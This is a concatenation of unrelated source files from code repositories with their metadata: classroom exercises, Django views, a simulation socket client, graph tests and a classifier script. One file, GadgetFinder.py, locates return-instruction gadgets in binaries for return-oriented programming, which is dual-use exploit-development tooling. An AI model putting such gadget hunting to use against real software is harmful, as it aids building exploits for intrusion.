''' Created on 05/05/2014 @author: Samus ''' # Pregunta A x = 2 y = 5 if y > 8: y = y * 2 else: x = x * 2 print(x + y) # Pregunta B for i in range(1, 10): if i is not 3: for j in range(1, 7): print('Hola') #pregunta C cantidad = 0 for j in range(1067,3628): if j%2==0 and j%7==0: cantidad +=1 print("Cantidad de Numeros Pares y Divisibles entre 7 del rango de 1067 a 3627 %d" %cantidad) #pregunta d def isNumeroValido(numero): numero = numero.strip() #los digitos no pueden ser iguales x = 0 while x < len(numero)-1: if numero[x] is [numero[x+1]]: return False x+=1 #suma digitos suma = 0 x=0 while x < len(numero): suma = suma + int(numero[x]) x+=1 if suma % 2 is not 0: return False #ultimo y primer nunero diferente if numero[0] == numero[len(numero)-1]: return False return True archivo = open('telefonos.txt') cantidadValidos = 0 for linea in archivo.readlines(): if(isNumeroValido(linea)): cantidadValidos += 1 archivo.close() print ("Cantidad de Números de Telefonos Validos es : %d" %cantidadValidos)
UTF-8
Python
false
false
2,014
14,474,039,789,699
41f7419d86ba8a9863cf56717eb2dbc5a839551b
e594dc29ccd1d8b423106eee5079ce3b3c93900d
/calc.py
7ccbbfe27e30d38c4bea73a0964a43eecd00fc48
[ "BSD-3-Clause" ]
permissive
Slugger70/calc-demo
https://github.com/Slugger70/calc-demo
c258f0af2e5b70f68d4668d2eab68f1df018114d
71d7f7e201bcb21052b21cce31eff55e2d449341
refs/heads/master
2021-01-18T12:31:00.863533
2013-11-25T00:55:28
2013-11-25T00:55:28
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import sys if __name__ == '__main__': nums = map(float, sys.argv[1:]) print(sum(nums))
UTF-8
Python
false
false
2,013
4,303,557,236,369
cbf3ea5af076584f35f2cb77e7d1fb20996fc2b6
29c421b7a4e0bb7cd8163cbf295a6bd29c28fd1a
/ajustesLogica/views/soporte/controllerCorreo.py
2905ab81da5e1ae037d23a6ad89fe3d8f2cb53d8
[]
no_license
kristiandamian/Ajustes
https://github.com/kristiandamian/Ajustes
dec6190b1e60462a6891bf86a89e9c950eb27afe
a54c7b276ca46f1a8b5a1b4378c9a70ccb371fa8
refs/heads/master
2016-09-05T20:15:20.993436
2014-07-25T22:35:47
2014-07-25T22:35:47
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from django.contrib.auth.decorators import permission_required from ajustesLogica.models import Ajuste, RegionAuditoria from django.http import HttpResponse, HttpResponseRedirect from django.template import RequestContext, loader, Context from django.contrib.auth.decorators import login_required from ajustesLogica.Config import Configuracion @login_required(login_url=Configuracion.LOGIN_URL) def ConfiguracionCorreo(request): template = loader.get_template('soporte/ConfigCorreo.html') regiones=RegionAuditoria.objects.PorPermiso(request.user).order_by("NombreRegion") context=RequestContext(request, { 'regiones':regiones, }) return HttpResponse(template.render(context))
UTF-8
Python
false
false
2,014
16,707,422,804,977
f399b93aff01f791491cd9e652e66cabaeee8352
4484800c5fe68524d26c5e9387596753ab17b5c5
/Services/History/ActiveObject.py
97db207bc110d36daf4ee01817698f5c820a309d
[]
no_license
buhaibogdan/dissertation-app
https://github.com/buhaibogdan/dissertation-app
cb4be2678d57fb0c4a85e3d63e6217c8be5f68c1
73dae0e0aff0f28037e6c671763384142604be61
refs/heads/master
2016-09-06T04:38:28.662560
2014-08-15T14:55:50
2014-08-15T14:55:50
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import threading import requests from Services.Log.LogService import logService class ActiveObject(threading.Thread): def __init__(self, uid): threading.Thread.__init__(self) self._finished = threading.Event() self._interval = 120 self.uid = uid self.historyAll = '' self.historyUser = '' def setInterval(self, interval): self._interval = interval def stop(self): """ stop the thread """ self._finished.set() def run(self): while True: if self._finished.isSet(): return self.task() self._finished.wait(self._interval) def task(self): try: self.historyAll = requests.get('http://localhost:8001/').content except requests.ConnectionError: logService.log_error('[HistoryService] ActiveObject could not connect to EventWebService')
UTF-8
Python
false
false
2,014
5,970,004,584,924
c9824b15f16bc430dcc98285a5719396eccef069
6f4455f5cd714d03000365c9767ba7ac2dfc525c
/Simulation-Cafe1/python-demo-client/client.py
2228b6f6a742d0cb8c0ecb8c4de602baedb77026
[ "GPL-2.0-only", "GPL-1.0-or-later", "GPL-2.0-or-later" ]
non_permissive
bhenne/MoSP-Siafu
https://github.com/bhenne/MoSP-Siafu
fd1d5287bb905679b6b38f55f1e2955af8127ec2
a4fd3c5ae700e9f42abadfd7f36d5744e2863694
refs/heads/master
2016-09-05T16:51:26.374992
2012-04-19T09:29:55
2012-04-19T09:29:55
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # run using `python -O client.py` to suppress DEBUG output import socket __author__ = "B. Henne" __contact__ = "[email protected]" __copyright__ = "(c) 2012, DCSec, Leibniz Universitaet Hannover, Germany" __license__ = "GPLv3" STEP_DONE_PUSH = '\xF9' STEP_DONE = '\xFA' SIM_ENDED = '\xFB' ACK = '\xFC' FIELD_SEP = '\xFD' MSG_SEP = '\xFE' MSG_END = '\xFF' QUIT = '\x00' GET_MODE = '\x01' PUT_MODE = '\x02' STEP = '\x03' IDENT = '\x04' s = None steps = 0 def connect(host='localhost', port=4444): global s if __debug__: print 'Connect to %s:%s' % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) def exit_sim(): s.send(QUIT) def close(exit=True): if (exit == True): if __debug__: print "Shutdown sim" exit_sim() if __debug__: print "Close connection" s.close() def recv_until(endsymbol, include_endsymbol=True): d = '' r = '' while (d != endsymbol): d = s.recv(1) if (d != endsymbol) or (include_endsymbol == True): r += d return r def identify(): if __debug__: print "--> IDENTIFY" s.send(IDENT) i = recv_until(MSG_END, False) if __debug__: print '<-- %s' % i.split(FIELD_SEP) def step(n=1): global steps if __debug__: print "--> STEP %s" % n s.send(STEP) s.send(str(n)) s.send(MSG_END) steps += 1 d = s.recv(1) if (d == ACK): if __debug__: print "<-- ACK" else: if __debug__: print "!!! ACK wanted, got %s" % d d = s.recv(1) if (d == STEP_DONE): if __debug__: print "<-- STEP(S) DONE" elif (d == STEP_DONE_PUSH): if __debug__: print "<-- STEP(S) DONE, PUSHING DATA" blob = recv_until(MSG_END, False) if __debug__: print " received %s bytes" % len(blob) if __debug__: print "--> ACK" s.send(ACK) if len(blob) > 0: print "%5i" % steps msgs = blob.split(MSG_SEP) for msg in msgs: print " > %s" % msg.split(FIELD_SEP) else: if __debug__: print "!!! STEP(S)_DONE wanted, got %s" % d def get(): if __debug__: print "--> GET" s.send(GET_MODE) if __debug__: print "<-- DATA" blob = recv_until(MSG_END, False) if __debug__: print "--> ACK" s.send(ACK) if len(blob) > 0: print "%5i" % steps msgs = blob.split(MSG_SEP) for msg in msgs: print " > %s" % msg.split(FIELD_SEP) def put(data=''): if data == '': return if __debug__: print "--> PUT" s.send(PUT_MODE) if __debug__: print "--> DATA" s.sendall(data) d = s.recv(1) if (d == ACK): if __debug__: print "<-- ACK" else: if __debug__: print "!!! ACK wanted, got %s" % d if len(data) > 0: print "%5i" % steps try: out = '' msgs = data[:-1].split(MSG_SEP) for msg in msgs: out += " < %s\n" % msg.split(FIELD_SEP) print out[:-1] except: print " %s" % data def step_get_put(n=1, put_data=''): for i in xrange(0,n): step(1) get() if (put_data != ''): put(put_data) def step_put(n=1, put_data=''): """Steps n times, may receive pushed data, puts if needed.""" for i in xrange(0,n): step(1) if (put_data != ''): put(put_data) TEST_PUT_DATA_Z = 'MobileInfectWiggler'+FIELD_SEP+'{ "p_id":42, "p_infected_mobile":true, "p_CAFE_WAITING_MIN":300, "p_CAFE_WAITING_MAX":900, "p_TIME_INTERNET_CAFE":60, "p_need_internet_offset":4, "p_INFECTION_DURATION":15, "p_INFECTION_RADIUS":50, "p_infection_time":13 }'+MSG_END TEST_PUT_DATA_H = 'MobileInfectWiggler'+FIELD_SEP+'{ "p_id":23, "p_infected_mobile":false, "p_CAFE_WAITING_MIN":300, "p_CAFE_WAITING_MAX":900, "p_TIME_INTERNET_CAFE":60, "p_need_internet_offset":1, "p_INFECTION_DURATION":15, "p_INFECTION_RADIUS":50, "p_infection_time":-1 }'+MSG_END TEST_PUT_DATA_LOG = 'LogTomain'+FIELD_SEP+'LP0wnedPersonDataChannelForLogMessages!'+MSG_END def test(): connect() identify() step_put(60, '') step_put(1, TEST_PUT_DATA_H) step_put(30, '') step_put(1, TEST_PUT_DATA_Z) step_put(1200, '') close() if __name__ == '__main__': test()
UTF-8
Python
false
false
2,012
841,813,612,609
774778046a32ee5fdcf7152c8ffdb946aa0f33da
25a35164329ea1d81d54a95e964e1965bdc39047
/imperavi/views.py
558baa497189fbdde9189689915e13e187b8ae33
[]
no_license
simmol/motus_website
https://github.com/simmol/motus_website
2a43ad89d444f8cf5e4efbf23643e4b4e981c83b
77f55c4c5e9777ae88c207adaa00e2a99f5e5cd0
refs/heads/master
2016-09-14T01:30:32.277253
2013-04-28T12:28:35
2013-04-28T12:28:35
57,973,981
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
import hashlib import md5 import json import os.path import imghdr from django.views.decorators.csrf import csrf_exempt from django.views.decorators.http import require_POST from django.contrib.auth.decorators import user_passes_test from django.core.files.storage import default_storage from django.utils.encoding import smart_str from django.http import HttpResponse, HttpResponseForbidden from django.conf import settings from forms import ImageForm, FileForm from sorl.thumbnail import get_thumbnail from photologue.models import Gallery, Photo from django.template.defaultfilters import slugify UPLOAD_PATH = getattr(settings, 'IMPERAVI_UPLOAD_PATH', 'imperavi/') @require_POST @csrf_exempt @user_passes_test(lambda user: user.is_staff) def upload_image(request, upload_path=None): form = ImageForm(request.POST, request.FILES) if form.is_valid(): image = form.cleaned_data['file'] if image.content_type not in ['image/png', 'image/jpg', 'image/jpeg', 'image/pjpeg']: return HttpResponse('Bad image format') try: gallery = Gallery.objects.get(title_slug='pages_photos') except: gallery = Gallery( title = 'Site Pages Photos', title_slug = 'pages_photos', is_public = False, description = 'System album for holding images added directly to the pages', ) gallery.save() image_name, extension = os.path.splitext(image.name) m = md5.new(smart_str(image_name)) image_name = '{0}{1}'.format(m.hexdigest(), extension) try: photo = Photo(image=image, title=image_name, title_slug = slugify(image_name), caption='') except: photo = Photo(image=image_name, title_slug = slugify(image_name), caption='') photo.save() gallery.photos.add(photo) image_url = photo.get_display_url() # Original Code m = md5.new(smart_str(image_name)) hashed_name = '{0}{1}'.format(m.hexdigest(), extension) image_path = default_storage.save(os.path.join(upload_path or UPLOAD_PATH, hashed_name), image) # image_url = default_storage.url(image_path) return HttpResponse(json.dumps({'filelink': image_url})) return HttpResponseForbidden() @user_passes_test(lambda user: user.is_staff) def uploaded_images_json(request, upload_path=None): images = [] try: gallery = Gallery.objects.get(title_slug='pages_photos') for photo in gallery.latest(): images.append({"thumb": photo.get_admin_thumbnail_url(), "image": photo.get_display_url()}) except: pass return HttpResponse(json.dumps(images)) @require_POST @csrf_exempt @user_passes_test(lambda user: user.is_staff) def upload_file(request, upload_path=None, upload_link=None): form = FileForm(request.POST, request.FILES) if form.is_valid(): uploaded_file = form.cleaned_data['file'] path = os.path.join(upload_path or UPLOAD_PATH, uploaded_file.name) image_path = default_storage.save(path, uploaded_file) image_url = default_storage.url(image_path) if upload_link: return HttpResponse(image_url) return HttpResponse(json.dumps({'filelink': image_url, 'filename': uploaded_file.name})) return HttpResponseForbidden()
UTF-8
Python
false
false
2,013
9,844,065,066,601
4bf831cd421676f6fe5c01f11c510c4de3119489
0dea750262e0cebafd067c914fb593a950fe4522
/GadgetFinder.py
8c844fe1fc99a201dc5f67ec21b344a24f0545ee
[]
no_license
gianlucasb/gadget-finder
https://github.com/gianlucasb/gadget-finder
8964dad8e1762d99e34cc8df3bcee49c79b4086f
ff13b8aa400164f1a8d0f0d1359b3876ad13e04d
refs/heads/master
2021-01-16T21:23:55.006208
2013-02-02T02:23:27
2013-02-02T02:23:27
7,970,318
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import sys import os start = 0x08048134 if len(sys.argv) < 3: print "Enter an input file and a number of bytes to look back" sys.exit(1) offset = int(sys.argv[2]) with os.popen("objdump -D %s | head"%sys.argv[1]) as f: for line in f: if line.startswith("0"): start = int(line.split()[0],16) binary = "" with open(sys.argv[1],"rb") as f: binary = f.read() count = 0 rets = [] for letter in binary: if letter == '\xc3': rets.append(count) count += 1 for ret in rets: with open("dump","wb") as f: for i in range(0,offset+1)[::-1]: f.write(binary[ret-i]) output = "" with os.popen("objdump -D -b binary -mi386 dump") as f: for line in f: output += line if output.find("ret") > 0: print output.replace("00000000","%s"%hex(start+ret-315))
UTF-8
Python
false
false
2,013
13,632,226,225,480
1bf7f893d4cf39fc00e9f0357ae8637819addbd4
c741a63c99f18b1794ab0cefec2aeb965965d3e3
/clplot/plot.py
c43c0f21539aeeae1d916d032b8f1415587da072
[]
no_license
JohnFNovak/clplot
https://github.com/JohnFNovak/clplot
36909426eec9dfd12addc0bea219ffdd97de29d9
50bddb83cca24ac9e45747945ba13d5b41d79e62
refs/heads/master
2021-01-02T22:58:21.300040
2014-05-28T16:01:49
2014-05-28T16:01:49
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#! /usr/bin/env python # Part of CLP # A universal command line plotting script # # John Novak # June 4, 2012 - July 19, 2012 # this sub-file holds the functions relating to generating the output # written for Python 2.6. Requires Scipy, Numpy, and Matplotlib import sys import numpy as np import matplotlib.pyplot as plt import os import time import string import globe import pickle def plot_tiles(tiles, numbered=0, **kwargs): dic = globe.dic for i, t in enumerate(tiles): if not dic['columnsfirst']: plt.subplot2grid((dic['layout'][0], dic['layout'][1]), (((i - 1) - (i - 1) % dic['layout'][1]) / dic['layout'][1], ((i - 1) % dic['layout'][1]))) if dic['columnsfirst']: plt.subplot2grid((dic['layout'][0], dic['layout'][1]), ((i - 1) % dic['layout'][1]), (((i - 1) - (i - 1) % dic['layout'][1]) / dic['layout'][1])) plot(t[0], '', Print=False) outputname = tiles[-1][1] + "_tiled" if numbered != 0: outputname = outputname + '_' + str(numbered) outputname = outputname + "." + dic['TYPE'] plt.tight_layout() # Experimental, and may cause problems plt.savefig(outputname) if dic['Verbose'] > 0: print"printed to", outputname # if dic['EmbedData']: # EmbedData(outputname, data) #check = subprocess.call(['open', outputname]) plt.clf() def plot(data, outputfile, numbered=0, Print=True, **kwargs): """This function takes a list z of lists and trys to plot them. the first list is always x, and the folowing are always y's""" # data format: # [[f_id, b_id], filename, output, x_label, y_label, # x, y, x_err, y_err, x_sys_err, y_sys_err] dic = globe.dic points = dic['colorstyle'] if dic['Ucolor']: colors = dic['Ucolor'] else: colors = ['b', 'g', 'r', 'c', 'm', 'y', 'k'] if dic['Ustyle']: style = dic['Ustyle'] else: style = ['o', 'v', '^', '<', ' > ', '1', '2', '3', '4', '-', '--', '-.', ':', 's', 'p', '*', 'h', 'H', ' + ', 'x', 'D', 'd', '|', '_', '.', ', '] for s in style: for c in colors: points.append(str(c + s)) size = [dic['default_marker_size']] * len(points) for i in range(len(points)): if len(points[i].split(';')) == 2: points[i] = points[i].split(';')[0] size[i] = float(points[i].split(';')[1]) plottingerrors = True if dic['x_range']: plt.xlim(dic['x_range']) if dic['y_range']: plt.ylim(dic['y_range']) x_label = '/'.join(sorted(set([d[3] for d in data if d[3]]))) plt.xlabel(x_label, fontsize=dic['fontsize']) if dic['y_label']: plt.ylabel(dic['y_label'], fontsize=dic['fontsize']) if dic['x_log']: plt.xscale('log', nonposx='clip') if dic['y_log']: plt.yscale('log', nonposy='clip') plt.tick_params(axis='both', which='major', labelsize=dic['fontsize']*0.75) plt.tick_params(axis='both', which='minor', labelsize=dic['fontsize']*0.75) if dic['legend']: parse_legend(data) if dic['norm']: for d in data: X = np.array(d[5]).astype(float) Y = np.array(d[6]).astype(float) width = np.mean(X[1:] - X[:-1]) Y = Y / np.sum(Y * width) d[6] = Y.tolist() for k, d in enumerate(data): X, Y, X_err, Y_err, X_sys_err, Y_sys_err = d[5:11] marker = points[k % len(points)] msize = size[k % len(points)] ecolor = points[k % len(points)][0] fcolor = points[k % len(points)][0] if marker[-1] == '!': fcolor = 'white' marker = marker[:-1] X = [float(x) * dic['xscaled'] for x in X] Y = [float(x) * dic['yscaled'] for x in Y] X_err = [float(x) * dic['xscaled'] for x in X_err] Y_err = [float(x) * dic['yscaled'] for x in Y_err] if plottingerrors and not dic['errorbands']: plt.errorbar(X, Y, xerr=X_err, yerr=Y_err, fmt=marker, label=d[4], mec=ecolor, mfc=fcolor, ms=msize) if plottingerrors and dic['errorbands']: if all([y == 0 for y in Y_err]): plt.errorbar(X, Y, xerr=[0] * len(X), yerr=[0] * len(Y), fmt=marker, label=d[4], mec=ecolor, mfc=fcolor, ms=msize) else: plt.errorbar(X, Y, xerr=[0] * len(X), yerr=[0] * len(Y), fmt=marker, label=d[4], mec=ecolor, mfc=fcolor, ms=msize) plt.fill_between(np.array(X), np.array(Y) + np.array(Y_err), np.array(Y) - np.array(Y_err), facecolor=ecolor, alpha=dic['alpha'], interpolate=True, linewidth=0) if dic['plot_sys_err']: plt.fill_between(np.array(X), np.array(Y) + np.array(Y_sys_err), np.array(Y) - np.array(Y_sys_err), facecolor=ecolor, alpha=dic['alpha'], interpolate=True, linewidth=0) if not plottingerrors: plt.plot(X, Y, points[k % len(points)]) plt.grid(dic['grid']) if dic['legend']: plt.legend() if dic['interactive']: if dic['keep_live']: plt.ion() plt.show(block=False) else: plt.show() return outputname = outputfile if numbered != 0: outputname = outputname + "_" + str(numbered) if dic['MULTIP']: outputname = outputname + "_mp" outputname = outputname + "." + dic['TYPE'] if Print: plt.tight_layout() # Experimental, and may cause problems plt.savefig(outputname) if dic['Verbose'] > 0: print"printed to", outputname if dic['EmbedData']: EmbedData(outputname, data) #check = subprocess.call(['open', outputname]) plt.clf() def parse_legend(data): # dic = globe.dic # delimiters = ['/', '-', '.', '/', '-', '.'] delimiters = ['/', '-'] labels = [x[4] for x in data] for divider in delimiters: tester = labels[0].split(divider) # From the front for i in labels: if len(i.split(divider)) > len(tester): tester = i.split(divider) hold = [0]*len(tester) for i in range(1, len(labels)): for j in range(len(labels[i].split(divider))): if tester[j] == labels[i].split(divider)[j] and hold[j]\ == 0: hold[j] = 1 if tester[j] != labels[i].split(divider)[j] and hold[j]\ == 1: hold[j] = 0 for i in range(len(hold)): if hold[len(hold)-1-i] == 1: for j in range(len(labels)): temp = [] for k in range(len(labels[j].split(divider))): if k != len(hold) - 1 - i: temp.append(labels[j].split(divider)[k]) labels[j] = string.join(temp, divider) tester = labels[0].split(divider) # From the back for i in labels: if len(i.split(divider)) > len(tester): tester = i.split(divider) hold = [0]*len(tester) for i in range(1, len(labels)): temp = len(labels[i].split(divider)) - 1 - j temp_labels = labels[i].split(divider) for j in range(temp): if tester[temp] == temp_labels[temp] and hold[temp] == 0: hold[temp] = 1 if tester[temp] != temp_labels[temp] and hold[temp] == 1: hold[temp] = 0 for i in range(len(hold)): if hold[len(hold)-1-i] == 1: for j in range(len(labels)): temp = [] for k in range(len(labels[j].split(divider))): if k != len(hold)-1-i: temp.append(labels[j].split(divider)[k]) labels[j] = string.join(temp, divider) def EmbedData(outputname, data): dic = globe.dic StringToEmbed = "Creation time: " + time.ctime() + '\n' StringToEmbed += "Current directory: " + os.path.abspath('.') + '\n' StringToEmbed += "Creation command: " + ' '.join(sys.argv) + '\n' StringToEmbed += "Plotted values:" + '\n' for i, d in enumerate(data): X, Y, X_err, Y_err, X_sys_err, Y_sys_err = d[5:11] StringToEmbed += 'Plot %d\n' % i StringToEmbed += 'x ' + ' '.join(map(str, X)) + '\n' StringToEmbed += 'x_err ' + ' '.join(map(str, X_err)) + '\n' StringToEmbed += 'x_sys_err ' + ' '.join(map(str, X_err)) + '\n' StringToEmbed += 'y ' + ' '.join(map(str, Y)) + '\n' StringToEmbed += 'y_err ' + ' '.join(map(str, Y_err)) + '\n' StringToEmbed += 'y_sys_err ' + ' '.join(map(str, Y_sys_err)) + '\n' StringToEmbed += 'PickleDump:' StringToEmbed += pickle.dumps(data) if dic['TYPE'] == 'jpg': with open(outputname, 'a') as f: f.write(StringToEmbed) elif dic['TYPE'] == 'pdf': if dic['Verbose'] > 0: print "Warning!!! Embedding data in pdfs is not reliable storage!" print "Many PDF viewers will strip data which is not rendered!" with open(outputname, 'r') as f: filetext = f.read().split('\n') obj_count = 0 for line in filetext: if ' obj' in line: obj_count = max(int(line.split()[0]), obj_count) if 'xref' in line: break StringToEmbed = '%d 0 obj\n<</Novak\'s_EmbedData >>\nstream\n' % ( obj_count + 1) + StringToEmbed + 'endstream\nendobj' with open(outputname, 'w') as f: f.write('\n'.join(filetext[:2] + [StringToEmbed] + filetext[2:])) def reload_plot(filename): if not os.path.isfile(filename): print filename, 'does not exist' return None with open(filename, 'r') as f: data = f.read() if len(data.split('PickleDump:')) > 1: new = [] for d in data.split('PickleDump:')[1:]: new.append(pickle.loads(d)[0]) return new return None if __name__ == '__main__': print "This code is part of CLP"
UTF-8
Python
false
false
2,014
16,853,451,678,638
409b10a0c6633d3d9f70fb3c7f610ae231bc9970
475b86242448df8787daa2b1a08dc272cbbf73a0
/schwa/dr/__init__.py
2fbe32ef20e456ddb9c2ad3ce92c45e78edcf2f6
[ "MIT" ]
permissive
schwa-lab/libschwa-python
https://github.com/schwa-lab/libschwa-python
81e0e061bf63c0765e086c05805f60bc4f91fe4e
aebe5b0cf91e55b9e054ecff46a6e74fcd19f490
refs/heads/develop
2020-06-06T05:13:07.991702
2014-09-04T03:28:34
2014-09-04T03:28:34
17,269,031
5
0
null
false
2014-09-04T01:56:19
2014-02-27T23:39:45
2014-09-04T01:31:31
2014-09-04T01:56:19
2,828
2
1
2
Python
null
null
# vim: set et nosi ai ts=2 sts=2 sw=2: # coding: utf-8 from __future__ import absolute_import, print_function, unicode_literals from .containers import StoreList from .decoration import Decorator, decorator, method_requires_decoration, requires_decoration from .exceptions import DependencyException, ReaderException, WriterException from .fields_core import Field, Pointer, Pointers, SelfPointer, SelfPointers, Slice, Store from .fields_extra import DateTime, Text from .meta import Ann, Doc, make_ann from .reader import Reader from .writer import Writer from . import decorators __all__ = ['StoreList', 'Decorator', 'decorator', 'decorators', 'requires_decoration', 'method_requires_decoration', 'DependencyException', 'ReaderException', 'Field', 'Pointer', 'Pointers', 'SelfPointer', 'SelfPointers', 'Slice', 'Store', 'DateTime', 'Text', 'Ann', 'Doc', 'make_ann', 'Token', 'Reader', 'Writer', 'WriterException']
UTF-8
Python
false
false
2,014
12,541,304,534,998
3a4eb78940686eeb380d0a16fcb1dea2ae4ec522
bcce3adbafc0843893ae51484c65bdb8e5f35b47
/euclidsExtended.py
14ad40b0b017b171d21bfbbc922e81616ced0236
[]
no_license
akgill/CSCI3104-Alg
https://github.com/akgill/CSCI3104-Alg
07e26cf229e8535f0d888262a4b972105f263a73
22023f8967dd1a49360f78fc1796dbfa2183cd47
refs/heads/master
2016-09-15T14:20:02.377973
2013-10-12T23:22:29
2013-10-12T23:22:29
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
def euclidsExtended(a,b): """This function computes d = gcd(a,b) and also returns the values x and y that satisfy x*a + y*b = d.""" if b==0: return (a, 1, 0) (d, xx, yy) = euclidsExtended(b, a % b) return (d, yy, xx - (a//b)*yy)
UTF-8
Python
false
false
2,013
13,116,830,149,369
315f33012786d855e31ae0c3654441d290593829
a4b5d192bdbb77af79e17f5da945ce2e0ce4c24c
/ut/test_bfs.py
95ac61d5af25c49633b597a6c76ab294ceb6edda
[]
no_license
billyevans/trains
https://github.com/billyevans/trains
47ace70fdcceccd87899dadb9b31ce0c4c6b28fd
c61d35f7d073b0ce8dc482c9f796b7c4f0d35afa
refs/heads/master
2021-01-10T20:21:09.739370
2014-06-21T17:42:42
2014-06-21T17:42:42
21,074,916
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from unittest import TestCase __author__ = 'billyevans' from core.digraph import DiGraph, Edge from core.algo import bfs, BfsLEStops, BfsEQStops, BfsLTStops, BfsEQDist, BfsLTDist class TestBfs(TestCase): # test graph # AB5, BC4, CD8, DC8, DE6, AD5, CE2, EB3, AE7 def setUp(self): self.G = DiGraph() self.G.add_edge(Edge('A', 'B', 5)) self.G.add_edge(Edge('B', 'C', 4)) self.G.add_edge(Edge('C', 'D', 8)) self.G.add_edge(Edge('D', 'C', 8)) self.G.add_edge(Edge('D', 'E', 6)) self.G.add_edge(Edge('A', 'D', 5)) self.G.add_edge(Edge('C', 'E', 2)) self.G.add_edge(Edge('E', 'B', 3)) self.G.add_edge(Edge('A', 'E', 7)) # from C to C, less 4 stops, same as test_bfs_6 def test_bfs_less(self): fn = BfsLTStops('C', 4) bfs(self.G, 'C', fn) self.assertEqual(2, fn.count) # from A to C, not more 1 stops def test_bfs_empty(self): fn = BfsLEStops('C', 1) bfs(self.G, 'A', fn) self.assertEqual(0, fn.count) # from C to C, not more 3 stops def test_bfs_6(self): fn = BfsLEStops('C', 3) bfs(self.G, 'C', fn) self.assertEqual(2, fn.count) # from A to C, with exacly 4 def test_bfs_7(self): fn = BfsEQStops('C', 4) bfs(self.G, 'A', fn) self.assertEqual(3, fn.count) # from A to C, with exacly 5 def test_bfs_(self): fn = BfsEQStops('C', 5) bfs(self.G, 'A', fn) self.assertEqual(3, fn.count) # from C to C, with distance less that 30 def test_bfs_10(self): fn = BfsLTDist('C', 30) bfs(self.G, 'C', fn) self.assertEqual(7, fn.count) # from A to D, with distance = 21 def test_bfs_one(self): fn = BfsEQDist('D', 21) bfs(self.G, 'A', fn) self.assertEqual(1, fn.count)
UTF-8
Python
false
false
2,014
19,035,295,068,891
1a5e010d981b1044d6bf7c982ca5e7cb3fbe2788
ce464cb4c050f42593bae1f95535f2c8a9c60bab
/learn_from_pitches_sparse_coding/train.py.bak
58b214ea1cd0817bdc5fae9cce703c1fd745944f
[]
no_license
zhangchao1194/ID_01
https://github.com/zhangchao1194/ID_01
3a9c47b74d87936b3153b0dd2086d9b3953bca10
cac98d1d37008b13cd31e2cfdb37278f52d9d495
refs/heads/master
2020-12-25T18:20:34.078526
2014-08-28T14:25:17
2014-08-28T14:25:17
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import re import numpy as np from sklearn.datasets import svmlight_format from sklearn.ensemble import RandomForestClassifier from sklearn import svm from sklearn.linear_model import LogisticRegression if __name__ == '__main__': num_epoches = 1 Train= svmlight_format.load_svmlight_file('./feature_train.txt') Test = svmlight_format.load_svmlight_file('./feature_test.txt') #model = RandomForestClassifier(n_estimators=100, criterion='entropy', max_depth=None, min_samples_split=2, min_samples_leaf=1, max_features='auto', max_leaf_nodes=None, bootstrap=True, oob_score=False, n_jobs=-1, random_state=None, verbose=0) model = LogisticRegression(penalty='l2', dual=False, tol=0.0001, C=1.0, fit_intercept=True, intercept_scaling=1, class_weight=None, random_state=None) #model = svm.libsvm.fit( np.array( training_data,dtype=np.float64), np.array( training_label,dtype=np.float64), kernel='linear' ) for epoch in xrange(num_epoches): print "learning epoch: ", epoch, "/", num_epoches #model.fit(training_data, training_label) model.fit( Train[0], Train[1] ) print "testing..." #output = model.predict(predict_data) output = model.predict( Test[0] ) #output = svm.libsvm.predict( np.array( predict_data, dtype=np.float64), *model, **{'kernel' : 'linear'} ) accurate_num = 0.0 for i in range( 0, len( output ) ) : if( int( Test[1][i] ) == int( output[i] ) ): accurate_num+=1 print "accuracy: ", accurate_num/len( output )
UTF-8
Python
false
false
2,014
18,047,452,600,204
c4e53c6203b6083dceb1347dc8b8c65547c52b8e
98c6ea9c884152e8340605a706efefbea6170be5
/examples/data/Assignment_3/mtlshi005/question3.py
83f753bc27072b63ba49d73dbc0a95bc7af211e8
[]
no_license
MrHamdulay/csc3-capstone
https://github.com/MrHamdulay/csc3-capstone
479d659e1dcd28040e83ebd9e3374d0ccc0c6817
6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2
refs/heads/master
2021-03-12T21:55:57.781339
2014-09-22T02:22:22
2014-09-22T02:22:22
22,372,174
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#19/03/14 #Shivaan Motilal #Programme to create a triangle x=input('Enter the message:\n') r=eval(input('Enter the message repeat count:\n')) f=eval(input('Enter the frame thickness:\n')) l=len(x)+4 for i in range(f-1,-1,-1): m=(f-1)-i print(m*'|','+',i*'-','-'*(len(x)+2),i*'-','+',m*'|',sep='') for i in range(r): print(f*'|',x,f*'|') for i in range(f): j=(f-1)-i print(j*'|','+',i*'-','-'*(len(x)+2),i*'-','+',j*'|',sep='')
UTF-8
Python
false
false
2,014
609,885,372,967
ee3e192bd772284d2d482cd59ea2c4703d9c23ec
3e9f3935c9e83a89ee8cc784b07d8b106eaabd60
/django_noaa/migrations/0004_auto__add_temperature__add_unique_temperature_station_obs_start_dateti.py
564498c2581c9b212b1c08d77cc064535a19e34b
[ "LGPL-3.0-only" ]
non_permissive
chrisspen/django-noaa
https://github.com/chrisspen/django-noaa
bb01eee78bc90c52560f1a1480c7ac10df04655e
042e245089693500d329a232f77cb670417b2305
refs/heads/master
2021-01-13T02:03:26.693267
2014-04-29T21:56:24
2014-04-29T21:56:24
18,303,918
5
1
null
null
null
null
null
null
null
null
null
null
null
null
null
